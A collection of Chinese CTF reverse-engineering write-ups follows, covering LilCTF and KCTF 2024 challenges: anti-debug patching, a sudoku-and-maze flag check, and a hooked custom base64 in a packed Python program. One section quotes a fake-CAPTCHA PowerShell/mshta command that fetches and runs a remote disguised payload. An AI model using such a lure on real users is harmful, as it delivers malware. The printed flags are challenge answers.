8
[LilCTF]Qt_Creator
這道題感覺捷徑是視奸作者的博客
在03篇提到了這個register

看到這個就知道是明文對比,通過ciallo找到這個函數
前面有反調試

patch一下


a1就是flag
其實看函數的話用ida9和博客幾乎一樣,但是我ida9無法調試出來


這個樣子我真的沒招了
[LilCTF]1'M no7 A rO6oT
參考wp:http://20.2.36.130/2025/08/18/lilctf2025-qwer-writeup/#toc-head-3
https://2hi5hu.cn/archives/lilctf2025#1m-no7-a-ro6ot
https://blog.rkk.moe/2025/08/18/LilCTF-2025-Writeup/#1’M-no7-A-rO6oT
此題展現ai神力,一步步還原

點擊驗證會復制下面的內容,或者直接查看都能看到mp3文件
powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://gz.imxbt.cn:20083/Coloringoutomic_Host.mp3 http://gz.imxbt.cn:20083/Coloringoutomic_Host.mp3 # ? Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086
下載文件

文件內部有script代碼

控制臺運行查看SxhM,每個數減601,再解

hex異或204

有一張圖片

查看文件內容又是可經過混淆的

[KCTF 2024]第二題 星際生物
ida打開是IL代碼,換成dnspy,搜索main

驗證flag{}格式
接下來是數獨驗證
$ArrayType$$$BY0EA@E $ArrayType$$$BY0EA@E;
cpblk(ref $ArrayType$$$BY0EA@E, ref $ArrayType$$$BY0BAA@D + 5, 64);//從內存位置$ArrayType$$$BY0BAA@D + 5復制64字節到$ArrayType$$$BY0EA@E
uint num = 0U;
uint num2 = 0U;
$ArrayType$$$BY188E* ptr2 = &<Module>.sudoku;
do
{
uint num3 = 0U;
$ArrayType$$$BY188E* ptr3 = ptr2;
do
{
if (*(byte*)ptr3 == 15) // 如果當前單元格是占位符(15)
{
byte b = *((ulong)num + ref $ArrayType$$$BY0EA@E); // 從輸入中讀取一個字符
if (b < 48 || b > 57) // 如果不是數字(ASCII '0'到'9')
{
goto IL_109; // 跳轉到錯誤處理(未顯示)
}
*(byte*)ptr3 = b - 48; // 將ASCII數字轉換為實際數字(0-9)
num += 1U; // 移動到輸入的下一個字符
}
num3 += 1U;
ptr3 += 1; // 移動到下一列
}
while (num3 < 9U); // 遍歷一行中的9列
num2 += 1U;
ptr2 += 9; // 移動到下一行
}
while (num2 < 9U); // 遍歷9行
//檢查行有效性
uint num4 = 1U; // 假設有效
// ... 初始化變量 ...
while (num4 == 1U) // 如果仍然有效
{
// 對于每一行...
long num8 = 0L;
uint num9 = 1U;
while (num4 == 1U)
{
uint num10 = num9;
if (num9 < 9U)
{
long num11 = (long)((ulong)num9);
byte b2 = *(num7 + num8 + ref <Module>.sudoku); // 獲取當前單元格的值
num4 = 1U;
$ArrayType$$$BY188E* ptr4 = num7 + num11 + ref <Module>.sudoku;
// 檢查同一行中是否有重復數字
while (b2 != *(byte*)ptr4) // 如果不重復,繼續檢查
{
num10 += 1U;
ptr4 += 1;
if (num10 >= 9U) // 如果沒有找到重復,退出內層循環
{
goto IL_17F;
}
}
num4 = 0U; // 找到重復,標記為無效
}
IL_17F:
num9 += 1U;
num8 += 1L;
if (num9 - 1U >= 9U) // 遍歷完一行?
break;
}
num6 += 1U;
num7 += 9L; // 移動到下一行
if (num6 >= 9U) // 遍歷完所有行?
break;
}
//檢查列有效性
uint num12 = 0U;
long num13 = 0L;
while (num5 == 1U) // 如果仍然有效
{
// 對于每一列...
uint num14 = 1U;
$ArrayType$$$BY188E* ptr5 = num13 + ref <Module>.sudoku; // 指向當前列第一行
while (num5 == 1U)
{
uint num15 = num14;
if (num14 < 9U)
{
$ArrayType$$$BY188E* ptr6 = num14;
byte b3 = *(byte*)ptr5; // 獲取當前單元格的值
num5 = 1U;
$ArrayType$$$BY188E* ptr7 = ptr6 * 9L + num13 / ... + ref <Module>.sudoku; // 計算同一列中下一行的位置
// 檢查同一列中是否有重復數字
while (b3 != *(byte*)ptr7) // 如果不重復,繼續檢查
{
num15 += 1U;
ptr7 += 9; // 移動到下一行
if (num15 >= 9U) // 如果沒有找到重復,退出
{
goto IL_209;
}
}
num5 = 0U; // 找到重復,標記無效
}
IL_209:
num14 += 1U;
ptr5 += 9; // 移動到下一行(同一列)
if (num14 - 1U >= 9U) // 遍歷完一列?
break;
}
num12 += 1U;
num13 += 1L; // 移動到下一列
if (num12 >= 9U) // 遍歷完所有列?
break;
}
查看sudoku對應的初始值

偏移0x10800

求解數獨

34689155813271746868579324125982187492581517263447389126

創建迷宮

'''
33 !;43 +;45 -;63 ?
!-?+
++-+
-+++
+--+
'''
用ADSW走迷宮,'-'不能走,最終要走到'?'
'SDSDDWWA'
flag:'flag{34689155813271746868579324125982187492581517263447389126SDSDDWWA}'
[KCTF 2024] 第四題 神秘信號
常規解包,反編譯main.pyc
import CrackMe
while True:
print('(賬號密碼由字母大小寫、數字、!、空格組成)')
print('請輸入賬號:')
h = input()
z = CrackMe.main(h)
if len(z) < 20:
key = 'dZpKdrsiB6cndrGY' + z
else:
key = z[0:4] + 'dZpK' + z[4:8] + 'drsi' + z[8:12] + 'B6cn' + z[12:16] + 'drGY' + z[16:]
print('請輸入驗證碼:')
h = input()
m = CrackMe.main(h)
if key == m:
print('Success')
break
print('Fail')
輸入賬號->CrackMe.main處理->組合成key->比較
如果解題的話就已經出來了
賬號:D7C4197AF0806891
驗證碼:D7CHel419lo 7AFWor080ld!6891
觀察發現3個一組,將Hello World!與賬號結合
h = input()
z = CrackMe.main(h)
加入h長度位3,z長度為4,所以 KCTF 經過變化長度小于20,那驗證碼為'Hello World!KCTF'
常規一點:
參考:https://bbs.kanxue.com/thread-283037.htm
運行main.exe,用Process Monitor查看進程

看到這里被加載?(運行?),可以用這兩個文件注入,將原來的pyd刪除,再補上自己的py文件
import CrackMe
print(CrackMe)
運行main.exe,查看模塊對象信息

發現是base64.pyc,反編譯

在末尾有自定義內容,這也是這里的base64.py比標準的多了一個'a',為了保證結果準確,用py文件的hook并且dump出來
import CrackMe
import marshal
import importlib
code = CrackMe.main.__code__
marshal_data = marshal.dumps(code)
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)
with open("crackme_main.marshal", "wb") as f:
f.write(marshal_data)
with open("crackme_main.pyc", "wb") as f:
f.write(pyc_data)
反編譯得到的pyc
encoded_str = ''
padding = 0
base64_chars = 'ZQ+U7tSBEKVzyf5coCwb94Dd6raT0eLNin12Hp8mOxFuvMgIPlhRY3WjksqJAXG/' #修改編碼表
ww = b''
for i in data:
i = i ^ 85 #異或
ww = ww + i.to_bytes(1, 'little')
data = ww
for i in range(0, len(data), 3):
chunk = data[i:i + 3]
def (.0):
"""08b""" # inserted
if False: yield # inserted
return .0((format(byte, '08b') for byte in 1))
for j in range(0, len(binary_str), 6):
six_bits = binary_str[j:j + 6]
if len(six_bits) < 6:
padding += 6 - len(six_bits)
six_bits += '0' * (6 - len(six_bits))
encoded_str += base64_chars[int(six_bits, 2)]
encoded_str += '!' * (padding // 2) #用'!'填充
for i in range(len(encoded_str) // 2):#兩兩交換位置
a = encoded_str[i * 2]
b = encoded_str[i * 2 + 1]
encoded_str = encoded_str[:i * 2] + b + a + encoded_str[i * 2 + 2:]
但是還是不對,后面有點太深入了,就沒有繼續
codecs.pyc反編譯也能證明當輸入import CrackMe就會 變成import base64
_find_and_load_unlocked:導入機制核心內部函數,根據模塊名(name)找到并實際加載(load)模塊

浙公網安備 33010602011771號